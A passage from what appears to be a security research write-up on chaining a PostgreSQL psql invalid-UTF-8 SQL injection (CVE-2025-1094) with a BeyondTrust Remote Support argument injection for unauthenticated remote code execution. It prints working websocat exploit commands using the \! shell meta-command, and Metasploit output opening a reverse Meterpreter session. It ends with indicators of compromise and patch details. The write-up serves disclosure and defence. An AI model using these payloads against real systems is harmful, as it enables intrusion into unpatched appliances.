			/* Copy the character */
			*target++ = c;
			source++;
			remaining--;
			continue;
		}

		/* Slow path for possible multibyte characters */
		len = pg_encoding_mblen(encoding, source); // <--- [3]

		/* Copy the character */
		for (i = 0; i < len; i++)
		{
			if (remaining == 0 || *source == '\0')
				break;
			*target++ = *source++; // <--- [4]
			remaining--;
		}

		/*
		 * If we hit premature end of string (ie, incomplete multibyte
		 * character), try to pad out to the correct length with spaces. We
		 * may not be able to pad completely, but we will always be able to
		 * insert at least one pad space (since we'd not have quoted a
		 * multibyte character).  This should be enough to make a string that
		 * the server will error out on.
		 */
		if (i < len)
		{
			if (error)
				*error = 1;
			if (conn)
				libpq_append_conn_error(conn, "incomplete multibyte character");
			for (; i < len; i++)
			{
				if (((size_t) (target - to)) / 2 >= length)
					break;
				*target++ = ' ';
			}
			break;
		}
	}

	/* Write the terminating NUL character. */
	*target = '\0';

	return target - to;
}

To understand how we can place an invalid UTF-8 byte in a UTF-8 character, we will inspect the function pg_encoding_mblen. We can see below at [5] that pg_encoding_mblen will call a function mblen to calculate the byte length of a multi-byte character. To do this, an encoding value (i.e., UTF-8) is provided, so that a lookup in an array of encodings called pg_wchar_table can be performed. The corresponding mblen entry for the UTF-8 encoding scheme is the function pg_utf_mblen, as shown below at [6].

// https://github.com/postgres/postgres/blob/65281391a937293db7fa747be218def0e9794550/src/common/wchar.c#L2069

/*
 * Returns the byte length of a multibyte character.
 *
 * Caution: when dealing with text that is not certainly valid in the
 * specified encoding, the result may exceed the actual remaining
 * string length.  Callers that are not prepared to deal with that
 * should use pg_encoding_mblen_bounded() instead.
 */
int
pg_encoding_mblen(int encoding, const char *mbstr)
{
	return (PG_VALID_ENCODING(encoding) ?
			pg_wchar_table[encoding].mblen((const unsigned char *) mbstr) : // <--- [5]
			pg_wchar_table[PG_SQL_ASCII].mblen((const unsigned char *) mbstr));
}

/*
 *-------------------------------------------------------------------
 * encoding info table
 *-------------------------------------------------------------------
 */
const pg_wchar_tbl pg_wchar_table[] = {
	[PG_SQL_ASCII] = {pg_ascii2wchar_with_len, pg_wchar2single_with_len, pg_ascii_mblen, pg_ascii_dsplen, pg_ascii_verifychar, pg_ascii_verifystr, 1},
	[PG_EUC_JP] = {pg_eucjp2wchar_with_len, pg_wchar2euc_with_len, pg_eucjp_mblen, pg_eucjp_dsplen, pg_eucjp_verifychar, pg_eucjp_verifystr, 3},
	[PG_EUC_CN] = {pg_euccn2wchar_with_len, pg_wchar2euc_with_len, pg_euccn_mblen, pg_euccn_dsplen, pg_euccn_verifychar, pg_euccn_verifystr, 2},
	[PG_EUC_KR] = {pg_euckr2wchar_with_len, pg_wchar2euc_with_len, pg_euckr_mblen, pg_euckr_dsplen, pg_euckr_verifychar, pg_euckr_verifystr, 3},
	[PG_EUC_TW] = {pg_euctw2wchar_with_len, pg_wchar2euc_with_len, pg_euctw_mblen, pg_euctw_dsplen, pg_euctw_verifychar, pg_euctw_verifystr, 4},
	[PG_EUC_JIS_2004] = {pg_eucjp2wchar_with_len, pg_wchar2euc_with_len, pg_eucjp_mblen, pg_eucjp_dsplen, pg_eucjp_verifychar, pg_eucjp_verifystr, 3},
	[PG_UTF8] = {pg_utf2wchar_with_len, pg_wchar2utf_with_len, pg_utf_mblen, pg_utf_dsplen, pg_utf8_verifychar, pg_utf8_verifystr, 4},// <--- [6]

// ... snip...
};

We can see below that the function pg_utf_mblen will inspect the first byte of the UTF-8 multi-byte character and return the expected byte length of that character, based upon several of the high bits of the first byte. For example, a UTF-8 character whose first byte is 0xC0 will have an expected byte length of 2, or a UTF-8 character whose first byte is 0xE0 will have an expected byte length of 3.

// https://github.com/postgres/postgres/blob/65281391a937293db7fa747be218def0e9794550/src/common/wchar.c#L517

/*
 * Return the byte length of a UTF8 character pointed to by s
 *
 * Note: in the current implementation we do not support UTF8 sequences
 * of more than 4 bytes; hence do NOT return a value larger than 4.
 * We return "1" for any leading byte that is either flat-out illegal or
 * indicates a length larger than we support.
 *
 * pg_utf2wchar_with_len(), utf8_to_unicode(), pg_utf8_islegal(), and perhaps
 * other places would need to be fixed to change this.
 */
int
pg_utf_mblen(const unsigned char *s)
{
	int			len;

	if ((*s & 0x80) == 0)
		len = 1;
	else if ((*s & 0xe0) == 0xc0)
		len = 2;
	else if ((*s & 0xf0) == 0xe0)
		len = 3;
	else if ((*s & 0xf8) == 0xf0)
		len = 4;
#ifdef NOT_USED
	else if ((*s & 0xfc) == 0xf8)
		len = 5;
	else if ((*s & 0xfe) == 0xfc)
		len = 6;
#endif
	else
		len = 1;
	return len;
}

We now know enough to construct an invalid UTF-8 character that will contain an unescaped single quote byte 0x27. The byte sequence 0xC0, 0x27 is sufficient. There are many permutations of this; for example, 0xE0, 0x27, 0x20 would also work. All permutations will be invalid UTF-8 characters, as 0x27 cannot be a valid byte in a UTF-8 character, since its high bit is not set. We can confirm this by reading rfc3629, specifically section 3 on page 4, titled “UTF-8 definition”, which states:

The following octet(s) all have the higher-order bit set to 1 and the following bit set to 0, leaving 6 bits in each to contain bits from the character to be encoded.

We can begin to experiment with this idea by using a rooted BeyondTrust Remote Support appliance, whereby we placed a copy of the dbquote script in the /var/tmp directory to make calling this script convenient for the purpose of experimentation.

We first pipe the string value hello world into dbquote. This string will be escaped to the literal value of 'hello world'.

myexamplecompany@localhost /var/tmp $ echo -e "hello world" | ./dbquote
'hello world'

We then pipe the string value hello ‘world’, which contains some single quotes, into dbquote. We can see the string is escaped as expected, to the literal value of 'hello ''world'''.

myexamplecompany@localhost /var/tmp $ echo -e "hello 'world'" | ./dbquote
'hello ''world'''

Finally, we experiment with the invalid UTF-8 character 0xC0, 0x27, and echo the string "hello \xC0'world'" (note that we are using the -e argument to enable interpretation of backslash escapes) into dbquote. We can see this string is escaped as the literal value 'hello └'world''', with the presence of the invalid UTF-8 character that contains the single quote byte value.

myexamplecompany@localhost /var/tmp $ echo -e "hello \xC0'world'" | ./dbquote
'hello └'world'''

While this is interesting, it is not incorrect in and of itself, as the string that has been escaped both contains an invalid UTF-8 character and all the ASCII single quote characters have indeed been escaped correctly.

What’s up with psql?! (aka CVE-2025-1094)

The next part of the journey involves how the PostgreSQL interactive terminal psql handles input that contains invalid UTF-8 characters. We know the thin-scc-wrapper script will construct a SQL SELECT statement that contains the escaped string literal generated by the dbquote script. What will happen when this SQL statement is piped into the psql tool? Again, using a testing environment in a rooted appliance, we experiment with how psql handles invalid UTF-8 characters.

We generate a quoted value from the input string hax\xC0'; foo which is then used to create the SQL statement SELECT COUNT(1) FROM gw_sessions WHERE session_key = ‘hax└'; foo’ AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW()) before piping this SQL statement into the psql tool. Surprisingly, the psql appears to execute a portion of the SQL statement, and displays an error for a remainder of the SQL statement. By using the psql argument -e we can display the commands sent to PostgreSQL server, which is useful for debugging.

myexamplecompany@localhost /var/tmp $ quoted=$(echo -e "hax\xC0'; foo" | ./dbquote)
myexamplecompany@localhost /var/tmp $ echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db -e
SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax└';
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
foo' AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())
ERROR:  syntax error at or near "foo"
LINE 1: foo' AND session_type = 'sdcust' AND (expiration IS NULL OR ...
        ^

As we can see above, we are able to terminate the SQL statement early via our invalid UTF-8 character, and subsequently execute a second SQL statement, which is the remainder of the string after the invalid UTF-8 character and semicolon. We have managed to achieve a SQL injection via a correctly escaped untrusted input, due to the psql tool’s incorrect handling of invalid UTF-8 characters. This vulnerability is now known as CVE-2025-1094.

To exploit this we need to understand more about the psql tool. Reading the help page reveals the psql tool can not only execute SQL statements, but can also run meta-commands. The most interesting meta-command for our purpose is the \! command, which will execute a shell command. Retrying the above experiment with the input string hax\xC0'; \! id # shows we have achieved arbitrary OS command execution and executed the shell command id with the privileges of the current site user.

myexamplecompany@localhost /var/tmp $ quoted=$(echo -e "hax\xC0'; \! id # " | ./dbquote)
myexamplecompany@localhost /var/tmp $ echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db -e
SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax└';
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
uid=1000(myexamplecompany) gid=1000(myexamplecompany) groups=1000(myexamplecompany),16(cron),70(postgres)

Now that we understand how to leverage the $gskey value in the thin-scc-wrapper script to perform a SQL injection and execute an arbitrary OS command via psql, we need to understand how a remote unauthenticated attacker can actually reach this vulnerable code path.

Going from sink to source

Examining the thin-scc-wrapper script, we can see the $gskey value, along with several other values, are read from the script’s standard input stream. The order the variables are read is shown below. Note, the script below has been edited for brevity, to only show the variables being read from the standard input stream.

# ...snip...

# write our protocol version number
localVersion=2
echo "2" >&0

# read their version number
read -t 30 remoteVersion || exit 1

# Assuming that the thin clients will be the more knowledgable of
# speaking older protocol versions.  They can look at the server version
# and adjust to match easier than the trymax side.
version=""
if [[ "$localVersion" -lt "$remoteVersion" ]]; then
	version=$localVersion
else
	version=$remoteVersion
fi

if [[ $version -gt "$localVersion" ]]; then
	echo "unhandled protocol version" >&2
	exit 1
fi

# ...snip...

# read their thinMint (thin-client-protocol cookie)
read -t 30 thinMint || exit 1

# supported in version 2 and higher
if [[ "$version" -gt "1" ]]; then
	read -t 30 locale_code || exit 1
	locale_code="$locale_code"
else
	locale_code=""
fi

# read their auth key type (gskey)
read -t 30 authType || exit 1

# ...snip...

if [[ "$authType" == "0" ]]; then
	# read a normal sdcust gskey
	read -t 30 gskey || exit 1
	
	# ...execute an arbitrary OS command via gskey...

Seemingly, if we send the following new line delimited sequence of text to the thin-scc-wrapper script’s standard input stream, we should be able to reach the vulnerable code path and execute an arbitrary OS command. As shown below, 1 will be the version number of the incoming request. aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa is a UUID value for the “thin mint” cookie value. 0 is the auth type that corresponds to “gskey”-based authentication. The last line is the value that will be read into the gskey variable, and in turn execute an OS command via psql, achieved by chaining CVE-2024-12356 and CVE-2025-1094.

1
aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa
0
-e \xC0'; \! touch /var/tmp/haxor #

While we understand the required inputs to the thin-scc-wrapper script, we still don’t know how to reach this over the network. Grepping for the script’s name reveals that a configuration file, $BG_app_root/config/app_chooser.conf, contains a reference to this script, for something referred to as ingredi support desk customer thin. Further searching for what the “app chooser” is reveals a Python application that will dispatch incoming web requests to different “apps” based on the app_chooser.conf file.

We can see that this Python application has an endpoint /nw that will have incoming HTTP(S) requests to it serviced by a class called WebSocketHandler.

def get_server():
    application = tornado.web.Application(
        [
            (MethodMatches("CONNECT"), [
                (r"/ns", AppChooserHandler),
            ]),
            (MethodMatches("HEAD"), [
                (r"/np", PingHandler),
            ]),
            (MethodMatches("GET"), [
                (r"/nc", AAVHandler),
                (r"/nk", legacy_psk_handler),
                (r"/np", legacy_ping_handler),
                (r"/ns", AppChooserHandler),
                (r"/nw", WebSocketHandler),
                (r"/stats", StatsHandler),
            ])
        ],
        websocket_ping_interval = 15,
        default_handler_class = NotFoundHandler,
    )

    return tornado.httpserver.HTTPServer(application, xheaders = True)

The WebSocketHandler class reveals a useful implementation detail in the comments, as shown below. It states that we can supply an app name, such as the vulnerable ingredi support desk customer thin app that we know is serviced by the thin-scc-wrapper script, in the WebSocket’s HTTP header parameter Sec-WebSocket-Protocol. It also states that the Host header field is used to resolve a corresponding company name that the target app is installed for.

class WebSocketHandler(tornado.websocket.WebSocketHandler):
    """Handle our websocket-based clients (WebRep, WebPAC, etc...)

    Clients should send their desired app_name (URLencoded) in the "Sec-WebSocket-Protocol" request
    header and we will identify the target company by mapping their "Host" header to an installed
    company.
        Implementation notes:
        tornado invokes our callbacks in this order for each connection:
            __init__()
            select_subprotocol()
              * sends 101 success response to client
              * sends 400 if the company/app was not found
            open()
            on_message()...
    """

Further investigation shows the function select_subprotocol will retrieve the target company name, either by passing the FQDN that the BeyondTrust Remote Support service is being hosted on (e.g. mysupportservice.myexamplecompany.com) in the HTTP Host header field, or the company name as it is known to the BeyondTrust Remote Support service (e.g. myexamplecompany) in the HTTP X-Ns-Company header field.

    def select_subprotocol(self, subprotocols):
        # Raising exceptions in here is not super graceful, but is the only way I can find to return
        # a non-101 response code from our calling tornado function (_accept_connection)
        # So we call set_status() and finish() manually and then raise
        if not subprotocols or subprotocols == ['']:
            self.set_status(400)
            self.finish("Invalid request")
            raise Exception("Invalid WebSocket request (did not request any protocols)")

        # Check the "Host" header to map to a company
        if self.request.host:
            host = extract_hostname(self.request.host).lower()
            if host in HOSTNAMES:
                self.company = HOSTNAMES[host]
                log.debug("Mapped [Host: %s] to company [%s]", host, self.company)
            else:
                log.warning("Hostname [%s] not found", host)
        if not self.company and "X-Ns-Company" in self.request.headers:
            # VERY unlikely... Browsers cannot set custom headers on WS connection requests
            self.company = self.request.headers["X-Ns-Company"]

        if self.company not in APPS:
            self.set_status(400)
            self.finish("Invalid company or app name")
            raise Exception("Invalid company / hostname [%s]" % self.company)

        app_chooser = APPS[self.company]["app_chooser"]

        log.info("Client proposed subprotocols: %s", subprotocols)

        for app_name in subprotocols:
            if app_name in app_chooser:
                self.app_name = app_name
                return app_name
            # websocket protocols cannot contain spaces or other "separator" characters,
            # so we URLENCODE them
            # @see: https://bugs.chromium.org/p/chromium/issues/detail?id=398407
            raw = tornado.escape.url_unescape(app_name)
            if raw in app_chooser:
                self.app_name = raw
                return app_name

        self.set_status(400)
        self.finish("Invalid company or app name")
        raise Exception("app [%s] not found for company [%s]!" % (self.app_name, self.company))

Unauthenticated RCE

Based upon our understanding of the vulnerability from the above analysis, we can now achieve unauthenticated RCE against a vulnerable BeyondTrust Remote Support appliance using the following websocat command.

sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ echo -ne "1\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\n-e \\\\\\\xC0'; \\\\\! touch /var/tmp/hax12345 # \n" | ./websocat -k wss://192.168.86.105:443/nw --protocol "ingredi support desk customer thin" -H "X-Ns-Company: myexamplecompany" --text -n -
2
1 failure

Note: The server responds with the message 1 failure regardless of whether exploitation succeeds or fails. This failure message is the result of the “gskey”-based authentication failing on the server side.

Plot twist! We don’t even need CVE-2024-12356

We know the argument injection vulnerability, CVE-2024-12356, allows us to pass a non-ASCII character as a backslash escaped sequence, and the string outputted by the echo command will then contain the raw byte value of this non-ASCII character. What if we tried to place this non-ASCII directly into the attacker’s input string? This would avoid the need to leverage the echo commands interpretation of backslash escapes, and ultimately avoid the need to leverage the argument injection vulnerability, CVE-2024-12356.

Testing this theory initially results in a failed attempt to execute an OS command. As shown below, instead of leveraging the argument injection to perform -e \xC0 to escape the raw byte, we instead place the raw byte 0xC0 directly into the string that we send to the server.

sfewer@sfewer-ubuntu-vm:~/Downloads$ echo -ne "1\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\n\xC0'; \\\\\! touch /var/tmp/hax12345b # \n" | ./websocat -k wss://192.168.86.105:443/nw --protocol "ingredi support desk customer thin" -H "X-Ns-Company: myexamplecompany" --text -n -
[ERROR websocat::ws_peer] Invalid UTF-8 in a text WebSocket message. Sending lossy data. May be caused by unlucky buffer splits.
2
1 failure

Unfortunately we see the error message Invalid UTF-8 in a text WebSocket message and if we check on the target appliance, the file /var/tmp/hax12345b has not been created. However the astute reader will have noticed that in all the above websocat commands we have used so far, the --text argument is used, to send WebSocket messages using the WebSocket protocol’s native support for text-based messages. Initially this made sense, as the data we send to the ingredi support desk customer thin app (i.e. the thin-scc-wrapper script) is text-based data.

The WebSocket protocol also supports sending WebSocket messages in a pure binary format, and the websocat tool supports this via the --binary argument. We can now successfully exploit a target without the need to leverage the BeyondTrust RS argument injection vulnerability, CVE-2024-12356, via the following command. With this exploitation strategy, only CVE-2025-1094 is being exploited.

sfewer@sfewer-ubuntu-vm:~/Downloads$ echo -ne "1\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\n\xC0'; \\\\\! touch /var/tmp/hax12345c # \n" | ./websocat -k wss://192.168.86.105:443/nw --protocol "ingredi support desk customer thin" -H "X-Ns-Company: myexamplecompany" --binary -n -
2
1 failure

Checking on a target appliance will show that the file /var/tmp/hax12345c has been successfully created.

Metasploit Module

We have developed a Metasploit exploit module that will automatically fingerprint a target appliance’s version number to ensure it is vulnerable, automatically retrieve the target appliance’s company name, and then successfully execute a Metasploit payload on the target appliance, as shown below.

msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check
[*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 24.1.2
[*] Using company name: myexamplecompany
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.105:43808) at 2025-01-29 17:57:21 +0000

meterpreter > getuid
Server username: myexamplecompany
meterpreter > sysinfo
Computer     : 192.168.86.105
OS           : Gentoo 2.14 (Linux 6.1.76-bt)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

The source code for our Metasploit exploit module can be found here: https://github.com/rapid7/metasploit-framework/pull/19877

IOCs

The BeyondTrust Remote Support application log file called thin-scc-wrapper.log may contain error information from attempted exploitation attempts of CVE-2025-1094, generated by any malicious SQL that the psql tool tried to execute. For example, the exploitation attempts shown in this analysis generated the below error messages:

ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27
ERROR:  invalid byte sequence for encoding "UTF8": 0xc0 0x27

Note: As there are many ways to construct a suitable invalid UTF-8 character, the bytes in the log may not be 0xC0 0x27, but they will likely be similar — i.e. the invalid byte sequence will contain the 0x27 byte.

Remediation

BeyondTrust has released patches to remediate CVE-2024-12356 for the following versions:

  • Privileged Remote Access (PRA) version 24.3.1 and earlier
    • Patch BT24-10-ONPREM1 or BT24-10-ONPREM2
  • Remote Support (RS) version 24.3.1 and earlier
    • Patch BT24-10-ONPREM1 or BT24-10-ONPREM2

BeyondTrust customers are urged to apply this patch on an urgent basis. BeyondTrust customers running a version older than 22.1 will need to first update to a more recent product version before applying the patch.

Rapid7 has confirmed that the patch BT24-10-ONPREM1 prevents the exploit described in this analysis from working successfully. As discussed in this analysis, we have discovered that this exploit chains together two vulnerabilities to achieve RCE; the argument injection vulnerability, CVE-2024-12356, and the SQL injection vulnerability in PostgreSQL, CVE-2025-1094. We have also learnt that it is possible to exploit CVE-2025-1094 in BeyondTrust Remote Support without the need to leverage CVE-2024-12356. However, due to some additional input sanitation that the patch for CVE-2024-12356 employs, exploitation will still fail.

This additional input sanitization detects the attempt to place the required raw byte value (0xC0 in our examples) directly into the malicious request, causing the request to fail with an error. Specifically, the patch contains the lines shown below to perform the additional input sanitization. We can see that this regular expression will not allow a byte of 0xC0 (or any byte that is not a character in the regex pattern a-zA-Z0-9) to be in a gskey value sent by the attacker.

  elif [[ ! "$gskey" =~ ^[a-zA-Z0-9]{32}$ ]]; then
    blog "bad session key given: [$gskey]"
    exit 1
   else

References